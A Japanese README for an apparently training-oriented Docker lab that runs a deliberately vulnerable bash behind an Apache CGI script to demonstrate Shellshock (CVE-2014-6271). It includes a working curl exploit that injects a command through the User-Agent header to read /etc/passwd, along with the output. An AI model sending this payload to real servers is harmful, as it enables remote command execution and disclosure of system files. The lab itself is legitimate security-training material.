脆弱性 as a Service - CVE 2014-6271

脆弱なバージョンのbashを搭載したDebian (Buster) Linuxシステムと、CVS-2014-6271（別名Shellshock）を実演するWebアプリケーションです。

概要

このDockerコンテナはDebian Busterをベースにしており、脆弱なバージョンのBash（bash_4.2:2b:dfsg-0.1）を使用するように変更されています。

Apache 2を介してWebアプリケーションが利用可能で、シェルコマンドを実行するCGIスクリプトを提供します。

使用方法

コンテナをインストールするには、docker pull hmlio/vaas-cve-2014-6271 を実行します。

ポートマッピングを指定してコンテナを実行するには、docker run -d -p 8080:80 hmlio/vaas-cve-2014-6271 を実行します。

http://your-ip:8080/ でWebアプリケーションにアクセスできるはずです。

攻撃手法

以下のように、Webアプリケーション/脆弱なbashバージョンを悪用できます。

# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'" http://your-ip:8080/cgi-bin/stats

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

クレジット

このコンセプトとWebアプリケーションは、rasta_mouseが作成したVulnHub VM「Sokar」に大きく影響を受けています。

詳細については、https://www.vulnhub.com/entry/sokar-1,113/ をご覧ください。